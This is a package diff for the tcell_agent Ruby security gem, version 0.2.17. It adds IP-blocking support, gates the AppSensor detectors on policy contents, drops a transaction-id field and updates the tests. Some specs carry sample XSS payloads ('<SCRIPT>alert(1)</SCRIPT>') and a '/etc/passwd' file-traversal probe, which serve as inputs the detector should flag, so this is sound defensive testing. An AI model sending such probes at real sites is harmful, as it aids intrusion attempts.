@@ -145,7 +222,11 @@
|
|
145
222
|
"title":"Any Line-Break Character",
|
146
223
|
"sophistication":1,
|
147
224
|
"id":"1",
|
148
|
-
"common":"(\\n|\\r)"
|
225
|
+
"common":"(\\n|\\r)",
|
226
|
+
"tests":{
|
227
|
+
"shouldFind":["Duh\r","\r\n","\n\rOh\\0No"],
|
228
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
229
|
+
}
|
149
230
|
}
|
150
231
|
]
|
151
232
|
}
|
@@ -108,6 +108,10 @@ module TCellAgent
|
|
108
108
|
read_config_using_env
|
109
109
|
read_config_from_file(@config_filename)
|
110
110
|
|
111
|
+
if ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"]
|
112
|
+
puts "tCell.io Agent: [DEPRECATED] TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS is deprecated, please switch to TCELL_AGENT_ALLOW_UNENCRYPTED_APPFIREWALL_PAYLOADS."
|
113
|
+
end
|
114
|
+
|
111
115
|
# Because ENV can override this one
|
112
116
|
env_unencrypted_firewall =
|
113
117
|
if (ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"] != nil)
|
@@ -39,17 +39,20 @@ module TCellAgent
|
|
39
39
|
"retr" => RetrSensor,
|
40
40
|
"login" => LoginSensor}
|
41
41
|
|
42
|
-
attr_accessor :policy_id, :options
|
42
|
+
attr_accessor :policy_id, :options, :enabled
|
43
43
|
|
44
44
|
def initialize
|
45
45
|
@policy_id = nil
|
46
46
|
@options = Hash.new
|
47
|
+
@enabled = false
|
47
48
|
end
|
48
49
|
|
49
50
|
def process_meta_event(appsensor_meta)
|
51
|
+
return unless @enabled
|
52
|
+
|
50
53
|
check_request_size(appsensor_meta)
|
51
54
|
check_response_size(appsensor_meta)
|
52
|
-
|
55
|
+
check_response_code(appsensor_meta)
|
53
56
|
check_params_for_injections(appsensor_meta)
|
54
57
|
end
|
55
58
|
|
@@ -138,8 +141,13 @@ module TCellAgent
|
|
138
141
|
|
139
142
|
if policy_json["version"] && policy_json["version"] == 2
|
140
143
|
if data_json
|
141
|
-
sensors_json = data_json
|
142
|
-
if sensors_json
|
144
|
+
sensors_json = data_json.fetch("sensors", {})
|
145
|
+
if sensors_json.empty?
|
146
|
+
sensor_policy.enabled = false
|
147
|
+
|
148
|
+
else
|
149
|
+
sensor_policy.enabled = true
|
150
|
+
|
143
151
|
DETECTION_POINTS_V2.each do |sensor_name, sensor_class|
|
144
152
|
settings = sensors_json.fetch(sensor_name, {})
|
145
153
|
settings["enabled"] = sensors_json.has_key?(sensor_name)
|
@@ -151,9 +159,13 @@ module TCellAgent
|
|
151
159
|
|
152
160
|
else
|
153
161
|
if data_json
|
154
|
-
options_json = data_json
|
155
|
-
|
162
|
+
options_json = data_json.fetch("options", {})
|
163
|
+
|
164
|
+
if options_json.empty?
|
165
|
+
sensor_policy.enabled = false
|
156
166
|
|
167
|
+
else
|
168
|
+
sensor_policy.enabled = true
|
157
169
|
DETECTION_POINTS_V1.each do |sensor_name|
|
158
170
|
if "req_res_size" == sensor_name
|
159
171
|
enabled = options_json.fetch(sensor_name, false)
|
@@ -193,7 +205,6 @@ module TCellAgent
|
|
193
205
|
)
|
194
206
|
end
|
195
207
|
end
|
196
|
-
|
197
208
|
end
|
198
209
|
end
|
199
210
|
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
module TCellAgent
|
2
|
+
module Policies
|
3
|
+
|
4
|
+
class PatchesPolicy
|
5
|
+
attr_accessor :policy_id, :version, :ip_blocking_enabled, :blocked_ips
|
6
|
+
|
7
|
+
def initialize
|
8
|
+
@policy_id = nil
|
9
|
+
@version = nil
|
10
|
+
@ip_blocking_enabled = false
|
11
|
+
@blocked_ips = {}
|
12
|
+
end
|
13
|
+
|
14
|
+
def block_ip?(request)
|
15
|
+
@ip_blocking_enabled && @blocked_ips[request.ip]
|
16
|
+
end
|
17
|
+
|
18
|
+
def self.from_json(policy_json)
|
19
|
+
return nil unless policy_json
|
20
|
+
|
21
|
+
policy_id = policy_json["policy_id"]
|
22
|
+
|
23
|
+
raise "Policy ID missing" unless policy_id
|
24
|
+
|
25
|
+
patches_policy = PatchesPolicy.new
|
26
|
+
patches_policy.policy_id = policy_id
|
27
|
+
patches_policy.version = policy_json["version"]
|
28
|
+
|
29
|
+
if 1 != patches_policy.version
|
30
|
+
TCellAgent.logger.warn("Patches Policy not supported: #{patches_policy.version}")
|
31
|
+
return patches_policy
|
32
|
+
end
|
33
|
+
|
34
|
+
data = policy_json["data"]
|
35
|
+
if data
|
36
|
+
blocked_ips = data["blocked_ips"]
|
37
|
+
if blocked_ips
|
38
|
+
blocked_ips.each do |ip_info|
|
39
|
+
if ip_info["ip"]
|
40
|
+
patches_policy.ip_blocking_enabled = true
|
41
|
+
patches_policy.blocked_ips[ip_info["ip"]] = true
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
patches_policy
|
48
|
+
end
|
49
|
+
end
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
@@ -29,6 +29,17 @@ module TCellAgent
|
|
29
29
|
def call(env)
|
30
30
|
request = Rack::Request.new(env)
|
31
31
|
|
32
|
+
if TCellAgent.configuration.should_intercept_requests?
|
33
|
+
TCellAgent::Instrumentation.safe_block("Checking for blocked ips") do
|
34
|
+
patches_policy = TCellAgent.policy(TCellAgent::PolicyTypes::Patches)
|
35
|
+
if patches_policy
|
36
|
+
if patches_policy.block_ip?(request)
|
37
|
+
return [403, {"Content-Type" => "text/plain"}, ["Forbidden based on referer"]]
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
|
32
43
|
response = @app.call(env)
|
33
44
|
|
34
45
|
if TCellAgent.configuration.should_intercept_requests?
|
@@ -13,7 +13,6 @@ module TCellAgent
|
|
13
13
|
param,
|
14
14
|
route_id,
|
15
15
|
data=nil,
|
16
|
-
transaction_id=nil,
|
17
16
|
session_id=nil,
|
18
17
|
user_id=nil,
|
19
18
|
payload=nil,
|
@@ -28,7 +27,6 @@ module TCellAgent
|
|
28
27
|
self["m"] = method
|
29
28
|
@raw_location = location
|
30
29
|
@user_id = user_id
|
31
|
-
@transaction_id = transaction_id
|
32
30
|
@raw_session_id = session_id
|
33
31
|
@payload = payload
|
34
32
|
if pattern
|
@@ -41,9 +39,6 @@ module TCellAgent
|
|
41
39
|
if @user_id
|
42
40
|
self["uid"] = @user_id.to_s
|
43
41
|
end
|
44
|
-
if @transaction_id
|
45
|
-
self["tid"] = @transaction_id
|
46
|
-
end
|
47
42
|
if @raw_session_id
|
48
43
|
hmac_key = Util.getHmacKey()
|
49
44
|
self["sid"] = Util.hmac(@raw_session_id, hmac_key)
|
data/lib/tcell_agent/version.rb
CHANGED
@@ -117,6 +117,13 @@ module TCellAgent
|
|
117
117
|
match_data = @rule_set.check_violation("param_name", "evil <script>", {}, true)
|
118
118
|
expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <script>", "pattern"=>1})
|
119
119
|
end
|
120
|
+
|
121
|
+
context "uppercasing param value still matches pattern" do
|
122
|
+
it "should return the match" do
|
123
|
+
match_data = @rule_set.check_violation("param_name", "evil <SCRIPT>", {}, true)
|
124
|
+
expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <SCRIPT>", "pattern"=>1})
|
125
|
+
end
|
126
|
+
end
|
120
127
|
end
|
121
128
|
|
122
129
|
context "v1_compatability is off" do
|
@@ -18,7 +18,7 @@ module TCellAgent
|
|
18
18
|
end
|
19
19
|
end
|
20
20
|
|
21
|
-
context "that
|
21
|
+
context "that has empty options" do
|
22
22
|
it "should have all sensors disabled" do
|
23
23
|
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
24
24
|
|
@@ -32,34 +32,44 @@ module TCellAgent
|
|
32
32
|
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
33
33
|
|
34
34
|
expect(empty_policy.policy_id).to eq("01a1")
|
35
|
-
expect(empty_policy.
|
36
|
-
expect(empty_policy.options["
|
37
|
-
expect(empty_policy.options["
|
38
|
-
expect(empty_policy.options["
|
39
|
-
expect(empty_policy.options["
|
40
|
-
expect(empty_policy.options["
|
41
|
-
expect(empty_policy.options["
|
42
|
-
expect(empty_policy.options["
|
43
|
-
expect(empty_policy.options["
|
44
|
-
expect(empty_policy.options["
|
35
|
+
expect(empty_policy.enabled).to eq(false)
|
36
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
37
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
38
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
39
|
+
expect(empty_policy.options["xss"]).to be_nil
|
40
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
41
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
42
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
43
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
44
|
+
expect(empty_policy.options["retr"]).to be_nil
|
45
|
+
expect(empty_policy.options["login"]).to be_nil
|
46
|
+
end
|
47
|
+
end
|
45
48
|
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
expect(empty_policy.options["xss"].enabled).to eq(false)
|
50
|
-
expect(empty_policy.options["sqli"].enabled).to eq(false)
|
51
|
-
expect(empty_policy.options["cmdi"].enabled).to eq(false)
|
52
|
-
expect(empty_policy.options["fpt"].enabled).to eq(false)
|
53
|
-
expect(empty_policy.options["nullbyte"].enabled).to eq(false)
|
54
|
-
expect(empty_policy.options["retr"].enabled).to eq(false)
|
55
|
-
expect(empty_policy.options["login"].enabled).to eq(false)
|
49
|
+
context "that has no options" do
|
50
|
+
it "should have all sensors disabled" do
|
51
|
+
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
56
52
|
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
53
|
+
policy_json_empty = {
|
54
|
+
"policy_id" => "01a1",
|
55
|
+
"data" => {
|
56
|
+
}
|
57
|
+
}
|
58
|
+
|
59
|
+
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
60
|
+
|
61
|
+
expect(empty_policy.policy_id).to eq("01a1")
|
62
|
+
expect(empty_policy.enabled).to eq(false)
|
63
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
64
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
65
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
66
|
+
expect(empty_policy.options["xss"]).to be_nil
|
67
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
68
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
69
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
70
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
71
|
+
expect(empty_policy.options["retr"]).to be_nil
|
72
|
+
expect(empty_policy.options["login"]).to be_nil
|
63
73
|
end
|
64
74
|
end
|
65
75
|
|
@@ -221,7 +231,7 @@ module TCellAgent
|
|
221
231
|
end
|
222
232
|
end
|
223
233
|
|
224
|
-
context "that
|
234
|
+
context "that has no sensors" do
|
225
235
|
it "should have all sensors disabled" do
|
226
236
|
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
227
237
|
|
@@ -229,41 +239,52 @@ module TCellAgent
|
|
229
239
|
"policy_id" => "01a1",
|
230
240
|
"version" => 2,
|
231
241
|
"data" => {
|
232
|
-
"sensors" => {}
|
233
242
|
}
|
234
243
|
}
|
235
244
|
|
236
245
|
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
237
246
|
|
238
247
|
expect(empty_policy.policy_id).to eq("01a1")
|
239
|
-
expect(empty_policy.
|
240
|
-
expect(empty_policy.options["
|
241
|
-
expect(empty_policy.options["
|
242
|
-
expect(empty_policy.options["
|
243
|
-
expect(empty_policy.options["
|
244
|
-
expect(empty_policy.options["
|
245
|
-
expect(empty_policy.options["
|
246
|
-
expect(empty_policy.options["
|
247
|
-
expect(empty_policy.options["
|
248
|
-
expect(empty_policy.options["
|
248
|
+
expect(empty_policy.enabled).to eq(false)
|
249
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
250
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
251
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
252
|
+
expect(empty_policy.options["xss"]).to be_nil
|
253
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
254
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
255
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
256
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
257
|
+
expect(empty_policy.options["retr"]).to be_nil
|
258
|
+
expect(empty_policy.options["login"]).to be_nil
|
259
|
+
end
|
260
|
+
end
|
249
261
|
|
250
|
-
|
251
|
-
|
252
|
-
|
253
|
-
|
254
|
-
|
255
|
-
|
256
|
-
|
257
|
-
|
258
|
-
|
259
|
-
|
262
|
+
context "that has empty sensors" do
|
263
|
+
it "should have all sensors disabled" do
|
264
|
+
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
265
|
+
|
266
|
+
policy_json_empty = {
|
267
|
+
"policy_id" => "01a1",
|
268
|
+
"version" => 2,
|
269
|
+
"data" => {
|
270
|
+
"sensors" => {}
|
271
|
+
}
|
272
|
+
}
|
273
|
+
|
274
|
+
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
260
275
|
|
261
|
-
expect(empty_policy.
|
262
|
-
expect(empty_policy.
|
263
|
-
expect(empty_policy.options["
|
264
|
-
expect(empty_policy.options["
|
265
|
-
expect(empty_policy.options["
|
266
|
-
expect(empty_policy.options["
|
276
|
+
expect(empty_policy.policy_id).to eq("01a1")
|
277
|
+
expect(empty_policy.enabled).to eq(false)
|
278
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
279
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
280
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
281
|
+
expect(empty_policy.options["xss"]).to be_nil
|
282
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
283
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
284
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
285
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
286
|
+
expect(empty_policy.options["retr"]).to be_nil
|
287
|
+
expect(empty_policy.options["login"]).to be_nil
|
267
288
|
end
|
268
289
|
end
|
269
290
|
|
@@ -0,0 +1,143 @@
|
|
1
|
+
require 'spec_helper'
|
2
|
+
|
3
|
+
module TCellAgent
|
4
|
+
module Policies
|
5
|
+
|
6
|
+
describe PatchesPolicy do
|
7
|
+
|
8
|
+
describe "#from_json" do
|
9
|
+
|
10
|
+
context "with a nil policy" do
|
11
|
+
it "should return nil" do
|
12
|
+
expect(PatchesPolicy.from_json(nil)).to be_nil
|
13
|
+
end
|
14
|
+
end
|
15
|
+
|
16
|
+
context "with an empty policy" do
|
17
|
+
it "should raise a policy missing error" do
|
18
|
+
expect {
|
19
|
+
PatchesPolicy.from_json({})
|
20
|
+
}.to raise_error(RuntimeError)
|
21
|
+
end
|
22
|
+
end
|
23
|
+
|
24
|
+
context "with an empty version" do
|
25
|
+
it "should have empty version" do
|
26
|
+
patches = PatchesPolicy.from_json({ "policy_id" => "policy_id" })
|
27
|
+
expect(patches.policy_id).to eq("policy_id")
|
28
|
+
expect(patches.version).to be_nil
|
29
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
30
|
+
expect(patches.blocked_ips).to eq({})
|
31
|
+
end
|
32
|
+
end
|
33
|
+
|
34
|
+
context "with an empty data" do
|
35
|
+
it "should have disabled ip blocking" do
|
36
|
+
patches = PatchesPolicy.from_json({
|
37
|
+
"policy_id" => "policy_id",
|
38
|
+
"version" => 1
|
39
|
+
})
|
40
|
+
expect(patches.policy_id).to eq("policy_id")
|
41
|
+
expect(patches.version).to eq(1)
|
42
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
43
|
+
expect(patches.blocked_ips).to eq({})
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
context "with an empty blocked_ips" do
|
48
|
+
it "should have disabled ip blocking" do
|
49
|
+
patches = PatchesPolicy.from_json({
|
50
|
+
"policy_id" => "policy_id",
|
51
|
+
"version" => 1,
|
52
|
+
"data" => {}
|
53
|
+
})
|
54
|
+
expect(patches.policy_id).to eq("policy_id")
|
55
|
+
expect(patches.version).to eq(1)
|
56
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
57
|
+
expect(patches.blocked_ips).to eq({})
|
58
|
+
end
|
59
|
+
end
|
60
|
+
|
61
|
+
context "with blocked_ips" do
|
62
|
+
context "as an empty list" do
|
63
|
+
it "should have ip blocking disabled" do
|
64
|
+
patches = PatchesPolicy.from_json({
|
65
|
+
"policy_id" => "policy_id",
|
66
|
+
"version" => 1,
|
67
|
+
"data" => {
|
68
|
+
"blocked_ips" => []
|
69
|
+
}
|
70
|
+
})
|
71
|
+
expect(patches.policy_id).to eq("policy_id")
|
72
|
+
expect(patches.version).to eq(1)
|
73
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
74
|
+
expect(patches.blocked_ips).to eq({})
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
context "a non empty list" do
|
79
|
+
it "should have ip blocking enabled" do
|
80
|
+
patches = PatchesPolicy.from_json({
|
81
|
+
"policy_id" => "policy_id",
|
82
|
+
"version" => 1,
|
83
|
+
"data" => {
|
84
|
+
"blocked_ips" => [
|
85
|
+
{"ip" => "0.0.0.0"},
|
86
|
+
{"ip" => "1.1.1.1"}
|
87
|
+
]
|
88
|
+
}
|
89
|
+
})
|
90
|
+
expect(patches.policy_id).to eq("policy_id")
|
91
|
+
expect(patches.version).to eq(1)
|
92
|
+
expect(patches.ip_blocking_enabled).to eq(true)
|
93
|
+
expect(patches.blocked_ips).to eq({"0.0.0.0"=>true, "1.1.1.1"=>true})
|
94
|
+
end
|
95
|
+
|
96
|
+
context "with incorrect key names" do
|
97
|
+
it "should skip bad keys" do
|
98
|
+
patches = PatchesPolicy.from_json({
|
99
|
+
"policy_id" => "policy_id",
|
100
|
+
"version" => 1,
|
101
|
+
"data" => {
|
102
|
+
"blocked_ips" => [
|
103
|
+
{"ip_wrong" => "0.0.0.0"},
|
104
|
+
{"ip" => "1.1.1.1"}
|
105
|
+
]
|
106
|
+
}
|
107
|
+
})
|
108
|
+
expect(patches.policy_id).to eq("policy_id")
|
109
|
+
expect(patches.version).to eq(1)
|
110
|
+
expect(patches.ip_blocking_enabled).to eq(true)
|
111
|
+
expect(patches.blocked_ips).to eq({"1.1.1.1"=>true})
|
112
|
+
end
|
113
|
+
end
|
114
|
+
|
115
|
+
context "with a wrong version number" do
|
116
|
+
it "should have ip blocking disabled" do
|
117
|
+
logger = double("logger")
|
118
|
+
expect(TCellAgent).to receive(:logger).and_return(logger)
|
119
|
+
expect(logger).to receive(:warn).with("Patches Policy not supported: 2")
|
120
|
+
|
121
|
+
patches = PatchesPolicy.from_json({
|
122
|
+
"policy_id" => "policy_id",
|
123
|
+
"version" => 2,
|
124
|
+
"data" => {
|
125
|
+
"blocked_ips" => [
|
126
|
+
{"ip" => "0.0.0.0"},
|
127
|
+
{"ip" => "1.1.1.1"}
|
128
|
+
]
|
129
|
+
}
|
130
|
+
})
|
131
|
+
expect(patches.policy_id).to eq("policy_id")
|
132
|
+
expect(patches.version).to eq(2)
|
133
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
134
|
+
expect(patches.blocked_ips).to eq({})
|
135
|
+
end
|
136
|
+
end
|
137
|
+
end
|
138
|
+
end
|
139
|
+
end
|
140
|
+
end
|
141
|
+
|
142
|
+
end
|
143
|
+
end
|
@@ -63,7 +63,7 @@ module TCellAgent
|
|
63
63
|
TCellAgent.empty_event_queue
|
64
64
|
end
|
65
65
|
it "alerts on get xss payload" do
|
66
|
-
response = request.get("/foo?xyz=%
|
66
|
+
response = request.get("/foo?xyz=%3CSCRIPT%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
|
67
67
|
expected_as = {
|
68
68
|
"event_type"=>"as",
|
69
69
|
"dp"=>"xss",
|
@@ -71,12 +71,11 @@ module TCellAgent
|
|
71
71
|
"remote_addr"=>"1.3.3.4",
|
72
72
|
"m"=>"GET",
|
73
73
|
"pattern"=>"1",
|
74
|
-
"loc"=>"http://example.org/foo?xyz="
|
75
|
-
"tid"=>"a-b-c-d-e-f"}
|
74
|
+
"loc"=>"http://example.org/foo?xyz="}
|
76
75
|
expect(TCellAgent.event_queue).to include(expected_as)
|
77
76
|
end
|
78
77
|
it "alerts on post xss payload" do
|
79
|
-
response = request.post("/foo", :input => "x=<
|
78
|
+
response = request.post("/foo", :input => "x=<SCRIPT>alert(1)</SCRIPT>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
|
80
79
|
expected_as = {
|
81
80
|
"event_type"=>"as",
|
82
81
|
"dp"=>"xss",
|
@@ -84,8 +83,7 @@ module TCellAgent
|
|
84
83
|
"remote_addr"=>"1.2.3.4",
|
85
84
|
"m"=>"POST",
|
86
85
|
"pattern"=>"1",
|
87
|
-
"loc"=>"http://example.org/foo"
|
88
|
-
"tid"=>"a-b-c-d-e-f"}
|
86
|
+
"loc"=>"http://example.org/foo"}
|
89
87
|
expect(TCellAgent.event_queue).to include(expected_as)
|
90
88
|
end #/it
|
91
89
|
it "alerts on get xss payload with route_id" do
|
@@ -98,8 +96,7 @@ module TCellAgent
|
|
98
96
|
"rou"=>"myrouteid",
|
99
97
|
"m"=>"GET",
|
100
98
|
"pattern"=>"1",
|
101
|
-
"loc"=>"http://example.org/foo?xyz="
|
102
|
-
"tid"=>"a-b-c-d-e-f"}
|
99
|
+
"loc"=>"http://example.org/foo?xyz="}
|
103
100
|
expect(TCellAgent.event_queue).to include(expected_as)
|
104
101
|
end
|
105
102
|
it "checks that payload is sent in xss with route_id" do
|
@@ -115,7 +112,6 @@ module TCellAgent
|
|
115
112
|
"m"=>"GET",
|
116
113
|
"pattern"=>"1",
|
117
114
|
"loc"=>"http://example.org/foo?xyz=",
|
118
|
-
"tid"=>"a-b-c-d-e-f",
|
119
115
|
"payload"=>"<script>alert(1)</script>"}
|
120
116
|
TCellAgent.configuration.allow_unencrypted_appfirewall_payloads= old_uap
|
121
117
|
expect(TCellAgent.event_queue).to include(expected_as)
|
@@ -146,8 +142,7 @@ module TCellAgent
|
|
146
142
|
"remote_addr"=>"1.3.3.4",
|
147
143
|
"m"=>"GET",
|
148
144
|
"pattern"=>"1",
|
149
|
-
"loc"=>"http://example.org/foo?xyz=&def="
|
150
|
-
"tid"=>"a-b-c-d-e-f"}
|
145
|
+
"loc"=>"http://example.org/foo?xyz=&def="}
|
151
146
|
expect(TCellAgent.event_queue).to include(expected_as)
|
152
147
|
end
|
153
148
|
end #/conext
|
@@ -166,7 +161,7 @@ module TCellAgent
|
|
166
161
|
TCellAgent.empty_event_queue
|
167
162
|
end
|
168
163
|
it "alerts on most obvious payload" do
|
169
|
-
response = request.get("/foo?xyz=/
|
164
|
+
response = request.get("/foo?xyz=/ETC/PASSWD", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
|
170
165
|
expected_as = {
|
171
166
|
"event_type"=>"as",
|
172
167
|
"dp"=>"fpt",
|
@@ -174,8 +169,7 @@ module TCellAgent
|
|
174
169
|
"remote_addr"=>"1.3.3.4",
|
175
170
|
"m"=>"GET",
|
176
171
|
"pattern"=>"2",
|
177
|
-
"loc"=>"http://example.org/foo?xyz="
|
178
|
-
"tid"=>"a-b-c-d-e-f"}
|
172
|
+
"loc"=>"http://example.org/foo?xyz="}
|
179
173
|
expect(TCellAgent.event_queue).to include(expected_as)
|
180
174
|
end
|
181
175
|
it "checks that payload is sent" do
|
@@ -190,7 +184,6 @@ module TCellAgent
|
|
190
184
|
"m"=>"GET",
|
191
185
|
"pattern"=>"2",
|
192
186
|
"loc"=>"http://example.org/foo?xyz=",
|
193
|
-
"tid"=>"a-b-c-d-e-f",
|
194
187
|
"payload"=>"/etc/passwd"}
|
195
188
|
TCellAgent.configuration.allow_unencrypted_appfirewall_payloads = old_uap
|
196
189
|
expect(TCellAgent.event_queue).to include(expected_as)
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: tcell_agent
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.2.
|
4
|
+
version: 0.2.17
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Garrett
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-
|
11
|
+
date: 2016-06-02 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: rest-client
|
@@ -155,6 +155,7 @@ files:
|
|
155
155
|
- lib/tcell_agent/policies/http_redirect_policy.rb
|
156
156
|
- lib/tcell_agent/policies/http_tx_policy.rb
|
157
157
|
- lib/tcell_agent/policies/login_fraud_policy.rb
|
158
|
+
- lib/tcell_agent/policies/patches_policy.rb
|
158
159
|
- lib/tcell_agent/policies/secure_headers_policy.rb
|
159
160
|
- lib/tcell_agent/rails/auth/authlogic.rb
|
160
161
|
- lib/tcell_agent/rails/auth/devise.rb
|
@@ -267,6 +268,7 @@ files:
|
|
267
268
|
- spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
|
268
269
|
- spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
|
269
270
|
- spec/lib/tcell_agent/policies/login_policy_spec.rb
|
271
|
+
- spec/lib/tcell_agent/policies/patches_policy_spec.rb
|
270
272
|
- spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
|
271
273
|
- spec/lib/tcell_agent/rails/logger_spec.rb
|
272
274
|
- spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
|
@@ -390,6 +392,7 @@ test_files:
|
|
390
392
|
- spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
|
391
393
|
- spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
|
392
394
|
- spec/lib/tcell_agent/policies/login_policy_spec.rb
|
395
|
+
- spec/lib/tcell_agent/policies/patches_policy_spec.rb
|
393
396
|
- spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
|
394
397
|
- spec/lib/tcell_agent/rails/logger_spec.rb
|
395
398
|
- spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
|